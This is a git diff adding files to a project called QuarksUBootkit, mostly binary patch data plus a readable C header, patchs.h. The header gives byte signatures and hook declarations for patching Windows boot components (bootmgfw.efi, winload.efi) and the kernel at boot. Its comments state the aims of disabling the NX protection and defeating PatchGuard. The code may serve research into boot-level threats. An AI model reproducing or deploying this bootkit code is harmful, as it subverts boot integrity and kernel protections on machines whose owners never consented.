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 DTISu` literal 0 HcmV?d00001 diff --git a/QuarksUBootkit/patchs.h b/QuarksUBootkit/patchs.h new file mode 100644 index 0000000..b26a222 --- /dev/null +++ b/QuarksUBootkit/patchs.h @@ -0,0 +1,89 @@ +#pragma once + +#include "common.h" + + +/* + * FIRST STAGE PATCH : + * bootmgfw.efi (loaded at cste addr 0x10000000 by EFI firmware) + * patch in Archpx64TransferTo64BitApplicationAsm() at .text:0000000010108D78 before calling winload.exe entry point + * .text:0000000010108D78 call rax ; ArchpChildAppEntryRoutine + * ==> + * .text:0000000010108D78 call bootmgfw_Archpx64TransferTo64BitApplicationAsm_hook + * Objectives: patch OslArchTransferToKernel() in winload.efi when mapped + */ +static UINT8 BOOTMGFW_PATTERN_Archpx64TransferTo64BitApplicationAsm[5] = { 0xFF,0xD0,0x48,0x8B,0x25 }; +extern UINT8 BOOTMGFW_Archpx64TransferTo64BitApplicationAsm_saved_bytes[5]; +extern void *bootmgfw_Archpx64TransferTo64BitApplicationAsm_hook; + + + +/* + * SECOND STAGE PATCH + * winload.efi (mapped by bootmgfw.efi) + * patch in OslArchTransferToKernel() at .text:0000000140115820 before calling ntoskrnl.exe entry point and intializing kernel gdt/idt + * Objectives: patch ntoskrnl.exe when mapped (see 3rd stage patch below) + */ +UINT64 WINLOAD_PATTERN_OslArchTransferToKernel_size = 9; +UINT8 WINLOAD_PATTERN_OslArchTransferToKernel[9] = { 0x48,0x33,0xF6,0x4C,0x8B,0xE1,0x4C,0x8B,0xEA }; + + +/* + * THIRD STAGE PATCH + * 1) Hook nt!NtSetInformationThread export smss.exe call + * 2) Patch NX flag activation (in a sub sub_1406F3360 called from kiSystemStartup) + * so it makes everything executable, for the injected code in reloc table + * (TO DO : Use PTE to make the page EXEC and restore prot after) + * 3) Anti patch-guard + * sub_1406C5050 proc near + * INIT:00000001406C5060 sub rsp, 28h + * INIT:00000001406C5064 cmp cs:InitSafeBootMode, 0 + * INIT:00000001406C506B jnz short loc_1406C509A + * INIT:00000001406C506D movzx edx, byte ptr cs:KdDebuggerNotPresent + * ... + * INIT:00000001406C5091 idiv r8d + */ +UINT64 NTOSKRNL_PATTERN_NXFlag_size = 9; +UINT8 NTOSKRNL_PATTERN_NXFlag[9] = { 0x74,0x38,0xB9,0x80,0x00,0x00,0xC0,0x0F,0x32 }; + +UINT64 NTOSKRNL_PATTERN_PATCHGUARD_size = 5; +UINT8 NTOSKRNL_PATTERN_PATCHGUARD[9] = { 0x75,0x2D,0x0F,0xB6,0x15 }; + + +/* + * CRC32 tab to retrieve export + */ +UINT32 CRC32_TAB[256] = { + 0x00000000,0x77073096,0xEE0E612C,0x990951BA,0x076DC419,0x706AF48F,0xE963A535,0x9E6495A3, + 0x0EDB8832,0x79DCB8A4,0xE0D5E91E,0x97D2D988,0x09B64C2B,0x7EB17CBD,0xE7B82D07,0x90BF1D91, + 0x1DB71064,0x6AB020F2,0xF3B97148,0x84BE41DE,0x1ADAD47D,0x6DDDE4EB,0xF4D4B551,0x83D385C7, + 0x136C9856,0x646BA8C0,0xFD62F97A,0x8A65C9EC,0x14015C4F,0x63066CD9,0xFA0F3D63,0x8D080DF5, + 0x3B6E20C8,0x4C69105E,0xD56041E4,0xA2677172,0x3C03E4D1,0x4B04D447,0xD20D85FD,0xA50AB56B, + 0x35B5A8FA,0x42B2986C,0xDBBBC9D6,0xACBCF940,0x32D86CE3,0x45DF5C75,0xDCD60DCF,0xABD13D59, + 0x26D930AC,0x51DE003A,0xC8D75180,0xBFD06116,0x21B4F4B5,0x56B3C423,0xCFBA9599,0xB8BDA50F, + 0x2802B89E,0x5F058808,0xC60CD9B2,0xB10BE924,0x2F6F7C87,0x58684C11,0xC1611DAB,0xB6662D3D, + 0x76DC4190,0x01DB7106,0x98D220BC,0xEFD5102A,0x71B18589,0x06B6B51F,0x9FBFE4A5,0xE8B8D433, + 0x7807C9A2,0x0F00F934,0x9609A88E,0xE10E9818,0x7F6A0DBB,0x086D3D2D,0x91646C97,0xE6635C01, + 0x6B6B51F4,0x1C6C6162,0x856530D8,0xF262004E,0x6C0695ED,0x1B01A57B,0x8208F4C1,0xF50FC457, + 0x65B0D9C6,0x12B7E950,0x8BBEB8EA,0xFCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0xFBD44C65, + 0x4DB26158,0x3AB551CE,0xA3BC0074,0xD4BB30E2,0x4ADFA541,0x3DD895D7,0xA4D1C46D,0xD3D6F4FB, + 0x4369E96A,0x346ED9FC,0xAD678846,0xDA60B8D0,0x44042D73,0x33031DE5,0xAA0A4C5F,0xDD0D7CC9, + 0x5005713C,0x270241AA,0xBE0B1010,0xC90C2086,0x5768B525,0x206F85B3,0xB966D409,0xCE61E49F, + 0x5EDEF90E,0x29D9C998,0xB0D09822,0xC7D7A8B4,0x59B33D17,0x2EB40D81,0xB7BD5C3B,0xC0BA6CAD, + 0xEDB88320,0x9ABFB3B6,0x03B6E20C,0x74B1D29A,0xEAD54739,0x9DD277AF,0x04DB2615,0x73DC1683, + 0xE3630B12,0x94643B84,0x0D6D6A3E,0x7A6A5AA8,0xE40ECF0B,0x9309FF9D,0x0A00AE27,0x7D079EB1, + 0xF00F9344,0x8708A3D2,0x1E01F268,0x6906C2FE,0xF762575D,0x806567CB,0x196C3671,0x6E6B06E7, + 0xFED41B76,0x89D32BE0,0x10DA7A5A,0x67DD4ACC,0xF9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5, + 0xD6D6A3E8,0xA1D1937E,0x38D8C2C4,0x4FDFF252,0xD1BB67F1,0xA6BC5767,0x3FB506DD,0x48B2364B, + 0xD80D2BDA,0xAF0A1B4C,0x36034AF6,0x41047A60,0xDF60EFC3,0xA867DF55,0x316E8EEF,0x4669BE79, + 0xCB61B38C,0xBC66831A,0x256FD2A0,0x5268E236,0xCC0C7795,0xBB0B4703,0x220216B9,0x5505262F, + 0xC5BA3BBE,0xB2BD0B28,0x2BB45A92,0x5CB36A04,0xC2D7FFA7,0xB5D0CF31,0x2CD99E8B,0x5BDEAE1D, + 0x9B64C2B0,0xEC63F226,0x756AA39C,0x026D930A,0x9C0906A9,0xEB0E363F,0x72076785,0x05005713, + 0x95BF4A82,0xE2B87A14,0x7BB12BAE,0x0CB61B38,0x92D28E9B,0xE5D5BE0D,0x7CDCEFB7,0x0BDBDF21, + 0x86D3D2D4,0xF1D4E242,0x68DDB3F8,0x1FDA836E,0x81BE16CD,0xF6B9265B,0x6FB077E1,0x18B74777, + 0x88085AE6,0xFF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0xF862AE69,0x616BFFD3,0x166CCF45, + 0xA00AE278,0xD70DD2EE,0x4E048354,0x3903B3C2,0xA7672661,0xD06016F7,0x4969474D,0x3E6E77DB, + 0xAED16A4A,0xD9D65ADC,0x40DF0B66,0x37D83BF0,0xA9BCAE53,0xDEBB9EC5,0x47B2CF7F,0x30B5FFE9, + 0xBDBDF21C,0xCABAC28A,0x53B39330,0x24B4A3A6,0xBAD03605,0xCDD70693,0x54DE5729,0x23D967BF, + 0xB3667A2E,0xC4614AB8,0x5D681B02,0x2A6F2B94,0xB40BBE37,0xC30C8EA1,0x5A05DF1B,0x2D02EF8D +}; \ No newline at end of file diff --git a/QuarksUBootkit/res/dreamboot.bmp b/QuarksUBootkit/res/dreamboot.bmp new file mode 100644 index 0000000000000000000000000000000000000000..60e30b3770a8a806d7c86b4b8afe932f49ee8a5b GIT binary patch literal 1440056 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 